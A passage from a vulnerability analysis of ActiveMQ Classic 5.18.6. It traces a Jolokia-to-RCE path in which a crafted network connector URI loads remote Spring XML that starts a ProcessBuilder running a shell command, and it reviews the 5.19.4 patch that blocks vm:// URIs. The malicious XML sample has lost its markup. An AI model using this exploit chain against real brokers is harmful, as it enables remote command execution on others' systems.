protected void loadBeanDefinitions(XmlBeanDefinitionReader reader)
        throws BeansException, IOException {
    reader.loadBeanDefinitions(resource);
}
```

Spring's `AbstractApplicationContext.refresh()` then initializes the bean factory and instantiates non-lazy singleton beans:

```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);
```

`finishBeanFactoryInitialization()` calls:

```java
beanFactory.preInstantiateSingletons();
```

`DefaultListableBeanFactory.preInstantiateSingletons()` creates every non-abstract, singleton, non-lazy bean:

```java
for (String beanName : beanNames) {
    RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
    if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
        ...
        getBean(beanName);
    }
}
```

During bean initialization, Spring invokes custom init methods:

```java
// org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java
protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) {
    ...
    invokeInitMethods(beanName, wrappedBean, mbd);
    ...
}
```

The custom init method is resolved from the bean definition:

```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
        !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
        !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
    invokeCustomInitMethod(beanName, bean, mbd);
}
```

`invokeCustomInitMethod()` invokes the method reflectively:

```java
ReflectionUtils.makeAccessible(methodToInvoke);
methodToInvoke.invoke(bean);
```

A malicious Spring XML bean such as:

```xml

    
        
            sh
            -c
            touch /tmp/blahblah.txt
        
    

```

causes the following behavior:

```text
ResourceXmlApplicationContext constructor
  -> refresh()
  -> XmlBeanDefinitionReader.loadBeanDefinitions()
  -> DefaultListableBeanFactory.preInstantiateSingletons()
  -> getBean("exec")
  -> instantiate java.lang.ProcessBuilder
  -> initializeBean()
  -> invokeInitMethods()
  -> invokeCustomInitMethod("start")
  -> ProcessBuilder.start()
```

This occurs before `XBeanBrokerFactory.createBroker()` validates the resulting context by looking for a `BrokerService` bean:

```java
ApplicationContext context = createApplicationContext(uri);

BrokerService broker = null;
try {
    broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}

if (broker == null) {
    String[] names = context.getBeanNamesForType(BrokerService.class);
    ...
}

if (broker == null) {
    throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}
```

The broker validation occurs after Spring context refresh. As a result, a configuration can execute arbitrary init methods and still be rejected later as an invalid broker configuration.

---

### Root Cause Analysis

The root cause is an unsafe architectural bridge between a remotely invokable management operation and trusted local broker bootstrap mechanisms.

The vulnerable design has these properties:

- Jolokia exposes JMX `exec` operations for ActiveMQ broker management MBeans.
- `BrokerView.addNetworkConnector(String)` accepts attacker-controlled URI input.
- The URI is passed into ActiveMQ networking code without a management-plane restriction on dangerous transport schemes.
- `static:(...)` discovery causes the enclosed URI to be connected automatically when the network connector starts.
- `vm://` transport is not only an in-VM transport; it also supports auto-creating a broker when the named VM broker is absent.
- `VMTransportFactory` treats `brokerConfig` as a broker factory URI and forwards it to `BrokerFactory.createBroker()`.
- `BrokerFactory` supports `xbean:` URIs through `XBeanBrokerFactory`.
- `XBeanBrokerFactory` accepts URL resources and constructs a Spring `ResourceXmlApplicationContext`.
- Spring eagerly instantiates singleton beans and invokes custom init methods during context refresh.
- ActiveMQ checks whether the context contains a valid `BrokerService` only after Spring has already initialized the context.

This is not simply "improper input validation" in isolation. The vulnerable behavior is caused by exposing a configuration-capable URI interpreter through a runtime JMX operation and allowing that interpreter to reach Spring bean lifecycle execution.

The precise failure is that the management API treats `discoveryAddress` as a connector address, but the downstream transport stack treats it as executable configuration. In the exploit path, the string is evaluated as:

```text
network connector URI
  -> discovery service URI
  -> VM transport URI
  -> broker creation URI
  -> XBean Spring resource URI
  -> Spring bean definitions
  -> Java object lifecycle methods
```

Validation occurs too late because the only broker-configuration validation in `XBeanBrokerFactory` happens after:

```java
new ResourceXmlApplicationContext(resource)
```

and that constructor performs:

```text
refresh() -> preInstantiateSingletons() -> init-method invocation
```

By the time ActiveMQ determines that the XML has no valid `BrokerService`, attacker-controlled Spring beans may already have executed.

---

### Patch Analysis

The relevant diff was reviewed with:

```bash
git diff activemq-5.18.6..activemq-5.19.4
```

The security-relevant change is in:

```text
activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
```

In 5.18.6, `addNetworkConnector()` directly forwarded the string:

```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    ...
    connector.start();
    return connector.getName();
}
```

In 5.19.4, validation was added before calling `BrokerService`:

```diff
 public String addNetworkConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
```

The same validation was added to `addConnector()`:

```diff
 public String addConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     TransportConnector connector = brokerService.addConnector(discoveryAddress);
```

The validator rejects `vm` transport schemes:

```java
private static void validateAllowedUrl(String uriString) throws URISyntaxException {
    validateAllowedUri(new URI(uriString), 0);
}

// Validate the URI does not contain VM transport
private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException {
    // Don't allow more than 5 nested URIs to prevent blowing the stack
    if (depth > 5) {
        throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs");
    }

    // First check the main URI scheme
    validateAllowedScheme(uri.getScheme());

    // If composite, iterate and check each of the composite URIs
    if (URISupport.isCompositeURI(uri)) {
        URISupport.CompositeData data = URISupport.parseComposite(uri);
        depth++;
        for (URI component : data.getComponents()) {
            if (URISupport.isCompositeURI(uri)) {
                validateAllowedUri(component, depth);
            } else {
                validateAllowedScheme(uri.getScheme());
            }
        }
    }
}

// We don't allow VM transport scheme to be used
private static void validateAllowedScheme(String scheme) {
    if (scheme.equals("vm")) {
        throw new IllegalArgumentException("VM scheme is not allowed");
    }
}
```

The patched execution path becomes:

```text
Jolokia exec
  -> BrokerView.addNetworkConnector(String)
  -> validateAllowedUrl(String)
  -> validateAllowedUri(URI)
  -> validateAllowedScheme("vm")
  -> IllegalArgumentException("VM scheme is not allowed")
```

This blocks the exploit before the request reaches:

```text
BrokerService.addNetworkConnector()
DiscoveryNetworkConnector.start()
TransportFactory.connect()
VMTransportFactory.doCompositeConnect()
BrokerFactory.createBroker()
XBeanBrokerFactory.createApplicationContext()
ResourceXmlApplicationContext.refresh()
```

The patch does not remove VM transport support globally. It restricts use of `vm://` through the JMX-facing `BrokerView` connector creation methods. Internal or trusted code paths that use VM transport still exist.

No security-relevant change was made to `VMTransportFactory.doCompositeConnect()` between 5.18.6 and 5.19.4. The `brokerConfig` behavior remains:

```java
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);
```

No security-relevant change was made to `XBeanBrokerFactory.createApplicationContext()` in this diff. Remote URL resources and Spring `ResourceXmlApplicationContext` behavior remain available for trusted broker configuration loading.

`BrokerFactory` changed from a raw `FactoryFinder` to a typed `FactoryFinder`:

```diff
- private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
-     new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
+ private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER
+     = new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
+     BrokerFactoryHandler.class, null);
```

This is type-safety cleanup, not the RCE mitigation. The scheme-based dispatch to `XBeanBrokerFactory` remains.

`BrokerService` gained `isAutoStart()` checks for connector startup in some paths:

```diff
- connector.start();
+ if(connector.isAutoStart()) {
+     connector.start();
+ }
```

This is not the primary fix for the Jolokia-to-RCE path. The primary mitigation is the pre-dispatch rejection of `vm://` in `BrokerView`.

Patch behavior summary:

- 5.18.6: `BrokerView.addNetworkConnector()` accepts `static:(vm://...?brokerConfig=xbean:http://...)` and passes it downstream.
- 5.19.4: `BrokerView.addNetworkConnector()` validates the supplied URI before connector creation and rejects nested `vm://` usage.
- 5.18.6: `VMTransportFactory` can consume attacker-controlled `brokerConfig` reached from the JMX path.
- 5.19.4: `VMTransportFactory` still supports `brokerConfig`, but the exposed JMX path is blocked before VM transport resolution.

---

### Static Analysis Conclusion

The exact vulnerable code path in ActiveMQ Classic 5.18.6 is:

```text
HTTP POST /api/jolokia/
  -> Jolokia exec operation
  -> org.apache.activemq:type=Broker,brokerName=
  -> BrokerView.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.setUri(URI)
  -> DiscoveryAgentFactory.createDiscoveryAgent(URI)
  -> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI)
  -> BrokerView.addNetworkConnector(): connector.start()
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> XBeanBrokerFactory.createBroker(URI)
  -> XBeanBrokerFactory.createApplicationContext(String)
  -> Utils.resourceFromString(String)
  -> new ResourceXmlApplicationContext(Resource)
  -> XmlBeanDefinitionReader.loadBeanDefinitions(Resource)
  -> AbstractApplicationContext.refresh()
  -> DefaultListableBeanFactory.preInstantiateSingletons()
  -> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod()
  -> ProcessBuilder.start()
```

Exploitation is possible because ActiveMQ exposes a management operation that accepts a connector URI, but the downstream transport implementation can interpret that URI as broker creation configuration. The `brokerConfig` parameter crosses from transport connection logic into broker factory logic. With an `xbean:` value, it crosses again into Spring XML processing.

The Spring execution primitive is not a separate deserialization bug. It is normal Spring lifecycle behavior: a non-lazy singleton bean is instantiated during context refresh, and its configured `init-method` is invoked. A `java.lang.ProcessBuilder` bean with `init-method="start"` therefore executes a process during application context initialization.

The validation failure is an ordering flaw. ActiveMQ validates whether the XBean configuration contains a usable `BrokerService` only after `ResourceXmlApplicationContext` has already loaded the XML and initialized singleton beans. Rejection of the broker configuration after refresh does not undo side effects from bean lifecycle methods.

The 5.19.4 patch mitigates this specific path by adding URI validation in `BrokerView` before connector creation and rejecting `vm://` transport usage from the JMX management surface. The patch blocks the exposed path to `VMTransportFactory.doCompositeConnect()`; it does not remove `brokerConfig`, `xbean:` support, or Spring XBean loading from trusted internal configuration paths.